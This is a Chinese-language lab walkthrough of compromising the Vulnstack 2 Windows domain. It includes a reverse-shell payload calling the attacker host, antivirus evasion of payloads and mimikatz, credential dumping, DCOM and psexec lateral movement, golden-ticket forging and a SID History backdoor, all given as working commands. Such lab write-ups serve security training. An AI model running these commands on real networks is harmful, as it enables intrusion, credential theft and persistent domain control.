[toc]

前言

在上一节《记一次Vulnstack靶场内网渗透(二)》中,我们简单的对vulnstack 4的靶场环境做了一次测试,通过外网初探、信息收集、攻入内网最终拿下域控。在本节中,我们将对vulnstack 2这个靶场进行渗透测试。靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

本次靶场环境主要包括Access Token利用、WMI利用、域漏洞利用SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。

  1. Bypass UAC
  2. Windows系统NTLM获取
  3. Access Token利用(MSSQL利用)
  4. WMI利用
  5. 网页代理,二层代理,特殊协议代理
  6. 域内信息收集
  7. 域漏洞利用:SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用
  8. 域凭证收集
  9. 后门技术(黄金票据、白银票据、Sid History、MOF)

环境准备

image-20210118230121014

域控服务器:

  • 内网IP:10.10.10.10
  • 系统:Windows Server 2012(64位)
  • 用户名:de1ay

WEB服务器:

  • 模拟外网IP:192.168.1.8
  • 内网IP:10.10.10.80
  • 系统:Windows Server 2008(64位)
  • 用户名:

PC域内主机:

  • 内网IP:10.10.10.201
  • 系统:Windows 7(32位)
  • 用户名:

攻击者VPS:

  • 模拟外网IP:192.168.1.7
  • 系统:Linux

Web服务器有两个网卡,一个网卡连接外网,对外提供web服务,另一个网卡连接内网。域成员主机Windows 7和域控制器位于内网,域成员主机可以没有公网IP但能上网,域控制器只能与内网连通,不能与外网通信。

外网渗透

我们已知Web服务器的公网IP为192.168.1.8(模拟),所以,我们先对其Web服务器进行端口扫描:

1
nmap -T4 -sC -sV 192.168.1.8

image-20210119143000169

发现目标主机上开放1433端口和7001端口,分别运行着Mssql和Weblogic服务,我们先从7001端口上的Weblogic下手。

WebLogic 10.3.6.0

访问目标WebLogic服务器控制台:

image-20210119143834403

发现WebLogic的版本是10.3.6.0,用Weblogic一键漏洞检测工具一把梭,该工具提供WebLogic一键poc检测,收录几乎全部weblogic历史漏洞:

image-20210119150045520

存在的漏洞还真不少。先试试CVE-2019-2725,我们在metasploit上找到了该漏洞的利用模块 exploit/multi/misc/weblogic_deserialize_asyncresponseservice

image-20210119154939002

但是该模块所携带的payload是针对unix环境的,在windows的环境自然没办法反弹回meterpreter。找遍全网,我找到了如下解决方法:去 exploit-db 下载这个exploit脚本,然后攻击者使用如下命令生成一个powershell格式的木马:

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f psh-cmd > shell.ps1

用著名的APT32组织海莲花常用的一个工具Invoke-Obfuscation对生成的shell.ps1做一下简单的免杀。

然后将刚下载的exploit脚本中的exploit变量替换为生成的shell.ps1脚本中的内容。然后在msfconsole中设置好监听:

image-20210119160020256

然后执行exploit脚本:

1
python3 exploit.py http://192.168.1.8:7001/_async/AsyncResponseServiceHttps

执行后,msfconsole成功得到目标主机的meterpreter,并且为管理员权限:

image-20210119160453015

为了方便后面的渗透,我这里也给Cobaltstrike派生了一个shell:

image-20210119170138168

内网信息收集

拿到了目标Web服务器的权限后,我们开始对目标主机及其所在的网络环境进行信息收集。

本机信息收集

1
2
systeminfo    // 查看操作系统信息
echo %PROCESSOR_ARCHITECTURE% // 查看系统体系结构

image-20210119171656935

1
ipconfig /all              // 查询本机IP段,所在域等

image-20210119171542287

1
2
3
whoami   // 查看当前用户、权限
net user // 查看本地用户
net localgroup administrators // 查看本地管理员组(通常包含域用户)

image-20210119171913808

综上可知目标Web服务器主机的操作系统为Windows Server 2008,具有两个网卡分别连通192.168.1.1/24和10.10.10.1/24两个网段。

域内信息收集

1
2
3
4
5
6
7
8
net config workstation     // 查看当前计算机名,全名,用户名,系统版本,工作站域,登陆的域等
net view /domain // 查看域
net time /domain // 主域服务器会同时作为时间服务器
net user /domain // 查看域用户
net group /domain // 查看域内用户组列表
net group "domain computers" /domain // 查看域内的机器
net group "domain controllers" /domain // 查看域控制器组
net group "Enterprise Admins" /domain // 查看域管理员组

image-20210119173542371

image-20210119192952914

image-20210119192838705

从收集的信息可知,目标主机所在的网络存在域环境,域名为de1ay.com,存在两台域主机WEB和PC,域控制器为DC.de1ay.com,主机名为DC,域管理员为Administrator。

攻入内网

我们先使用socks代理工具chisel在目标主机WEB的1090端口上搭建一个socks5代理服务。

在目标主机上传Windows版的chisel,然后执行如下命令启动socks5代理服务器:

1
2
3
start /b chisel.exe server -p 1090 --socks5

// start /b为后台运行

image-20210119200935069

攻击机执行如下命令启动socks5客户端:

1
nohup ./chisel_for_linux64 client 192.168.1.8:1090 socks &

如下图,成功在攻击机上面的1080端口开启了一个socks5监听:

image-20210119204320438

然后再配置攻击机的代理工具proxychains4:

1
vim /etc/proxychains4.conf

image-20210119204427167

此时,我们攻击机上的应用程序就可以通过proxychains4代理进目标内网了。探测目标内网的主机存活:

1
proxychains4 nmap -A -F -sT -Pn 10.10.10.1/24 > nmap_res.txt   
  • -Pn和-sT必须要加上,否则扫描失败

image-20210119211545491

通过扫描发现,内网中还存在10.10.10.10和10.10.10.201这两台主机,对应的主机名分别为DC和PC。

横向移动

既然是攻击内网,我们当然少不了试试永恒之蓝了,在msfconsole里面执行 setg Proxies socks5:127.0.0.1:1080 ,把msf代理进内网(也可以添加路由):

image-20210119205609504

扫描目标内网中存在ms17_010的主机:

image-20210119212639319

发现两个主机都存在漏洞,先打尝试那个PC(10.10.10.201):

1
2
3
4
5
6
7
setg Proxies socks5:127.0.0.1:1080       // 预先设置好代理
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.201
set lport 4444
set AutoRunScript post/windows/manage/migrate // 自动迁移进程
run

image-20210119213056549

失败了,又尝试了一下DC,好家伙,直接蓝屏了,只能走别的路了。在WEB主机上用mimikatz抓一下域用户的密码,为了能绕过360,我们要对mimikatz进行免杀,使用Tide安全团队的系列文章《远控免杀专题》中的msf加载bin的方法,需要用到 Donutshellcode_inject.rb

首先使用Donut对需要执行的文件进行shellcode生成,这里对mimikatz进行shellcode生成,生成bin文件mimi.bin,等下会用到:

1
./donut -f 1 mimikatz.exe -a 2 -o mimi.bin

image-20210119221425322

然后将上面的 shellcode_inject.rb 放入 /usr/share/metasploit-framework/modules/post/windows/manage/ 目录下,然后进入msfconsole,执行 reload_all 载入所有模块。

此时,我们便可以使用刚才载入的shellcode_inject模块来将mimi.bin注入执行了:

1
2
3
4
5
6
use post/windows/manage/shellcode_inject
set session 2
set shellcode /root/mimi.bin
set CHANNELIZED true
set INTERACTIVE true // 这两个一定要设为true,不然无交互式界面。
run

最后成功加载了mimikatz:

image-20210119224502081

成功抓取到administrator、de1ay、mssql这三个域用户的密码,皆为1qaz@WSX:

image-20210119224847138

image-20210119224939134

image-20210119225017151

有了用户名和密码,拿下PC和域控就简单多了。

我们先控制WEB主机与PC建立一个ipc$连接:

1
net use \\10.10.10.201\ipc$ "1qaz@WSX" /user:administrator

image-20210119231000153

然后,我们新生成一个msf木马shell2.exe并稍做免杀,上传到WEB主机上,然后在WEB主机上执行如下命令,将木马复制到远程主机PC上:

1
copy shell2.exe \\10.10.10.201\c$

image-20210119232811706

然后再meterpreter中载入powershell模块:

1
2
load powershell     // 载入powershell模块
powershell_shell // 进入powershell交互模式

image-20210119232000595

在powershell里面执行如下命令,控制WEB主机使用DCOM在远程机器PC上执行刚刚上传到PC主机C盘里的木马:

1
2
3
4
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.201")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c c:\shell2.exe","c:\windows\system32",$null,0)

image-20210119233429042

如上图所示,成功执行PC主机C盘里的木马,并成功得到了PC主机的meterpreter。

经扫描,主机PC开放3389端口:

image-20210119234829717

尝试登录PC远程桌面,成功:

image-20210119235343230

进攻域控

直接利用msf的exploit/windows/smb/psexec模块进行哈希传递:

1
2
3
4
5
6
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.10
set SMBUser administrator
set SMBPass 1qaz@WSX
run

成功拿下域控制器,并且是system权限:

image-20210120010129280

域控权限维持

黄金票据

假设又这么一种情况,我们已拿到的域内所有的账户Hash,包括krbtgt账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务。

首先,我们登上域控制器,像之前一样用shellcode_inject启动mimikatz,然后执行如下命令抓取krbtgt用户的Hash值并获取域sid:

1
2
privilege::debug
lsadump::lsa /patch // 专用于在域控制器上导出用户密码或hash

image-20210120011748380

如上图所示,我们得到krbtgt用户的Hash为:82dfc71b72a11ef37d663047bc2088fb,域sid为S-1-5-21-2756371121-2868759905-3853650604

然后,我们切换到普通域用户的WEB主机或PC主机,用mimikatz生成名为ticket.kirbi的TGT凭证,用户名为域管理员用户(administrator):

1
2
3
kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:ticket.kirbi

# kerberos::golden /user:需要伪造的域管理员用户名 /domain:demo.com /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbi

image-20210120014900469

生成TGT凭证ticket.kirbi成功,名为ticket.kirbi,然后再在mimikatz中将凭证ticket.kirbi注入进去:

1
2
3
kerberos::purge   //先清空所有票据
kerberos::ptt ticket.kirbi //再将生成的票据注入域用户主机Windows7中
// kerberos::ptt <票据文件>

image-20210120015005714

此时查看当前会话中的票据,就可以发现刚刚注入的票据在里面了:

1
kerberos::tgt

image-20210120015100473

到此,注入成功。输入“exit”退出mimikatz,此时,攻击者就可以利用这台普通域用户的主机任意访问域控制器了,如下列出域控的C盘目录:

1
dir \\DC\c$

image-20210120015623062

也可以使用psexec,wmi等方法通过WEB主机对DC进行远程执行命令了,具体操作不再演示。

SID History域后门

在Windows中,每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。

如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。

下面我们演示用mimikatz添加SID History后门的操作。

首先我们在域控制器上新建一个恶意用户“whoami”:

1
net user whoami Liu78963 /add

image-20210120020448444

然后像之前一样用shellcode_inject启动mimikatz,然后执行如下命令,将域管理员Administrator的SID添加到恶意域用户 whoami 的SID History属性中。

1
2
3
privilege::debug
sid::patch
sid::add /sam:whoami /new:Administrator //将Administrator的SID添加到whoami的SID History属性中

image-20210120020742359

注意:在使用mimikatz注入SID之前,需要使用 sid::patch 命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的SID History属性;mimikatz在2.1版本后,将 misc:addsid 模块添加到了 sid:add 模块下。

然后,我们可以用powershell查看一下这个whoami恶意用户的SID History:

1
2
3
Import-Module activedirectory
Get-ADUser whoami -Properties sidhistory
Get-ADUser administrator -Properties sidhistory

image-20210120021253352

如上图所示,whoami用户的SID History和administrator域管理员的sid相同,那么现在我们的whoami用户便拥有了administrator域管理员的权限,并可以用该用户随时登录域控主机。

Ending……

转自我的Freebuf:https://www.freebuf.com/articles/network/261344.html